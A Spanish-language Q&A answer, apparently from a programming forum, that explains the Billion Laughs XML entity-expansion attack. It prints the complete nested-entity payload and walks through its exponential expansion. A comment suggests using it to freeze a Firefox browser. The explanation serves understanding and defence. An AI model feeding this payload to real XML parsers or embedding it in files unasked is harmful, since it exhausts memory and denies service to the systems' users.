El ataque Billion Laughs es un ataque de denegación de servicio que se dirige a los analizadores XML. El ataque de Billion Laughs también se conoce como una bomba XML, o más esotéricamente, el ataque de expansión de entidad exponencial. Se puede producir un ataque de Billion Laughs incluso cuando se usa XML bien formado y también se puede aprobar la validación de esquema XML.
El ataque vanilla Billion Laughs se ilustra en el archivo XML representado a continuación.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
En este ejemplo, hay 10 entidades XML diferentes, lol
-lol9
. La primera entidad, lol
se define como la cadena “lol”
. Sin embargo, cada una de las otras entidades se define como 10 de otra entidad. La sección de contenido del documento de este archivo XML contiene una referencia a una sola instancia de la entidad lol9
. Sin embargo, cuando esto es analizado por un analizador DOM o SAX, cuando se encuentra lol9
, se expande a 10 lol8
s, cada uno de los cuales se expande a 10 lol7
s, y así sucesivamente. En el momento en que todo se expande al texto lol
, hay 100.000,000 instancias de la cadena "lol"
. Si hubiera una entidad más, o lol
se definió como 10 cadenas de “lol”
, habría un billón de "lol" s, de ahí el nombre del ataque. Huelga decir que esta gran cantidad de expansiones consume una cantidad exponencial de recursos y tiempo, lo que provoca el DOS.
Existe una explicación más extensa en mi blog.
Se debe migrar a BufferOverFlow ... http: //en.wikipedia.org/wiki/Billion_laughs – codingbadger
debes migrar a barryoverflow –
Pruébalo en Firefox 48 SVG para bloquear tu computadora :-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 –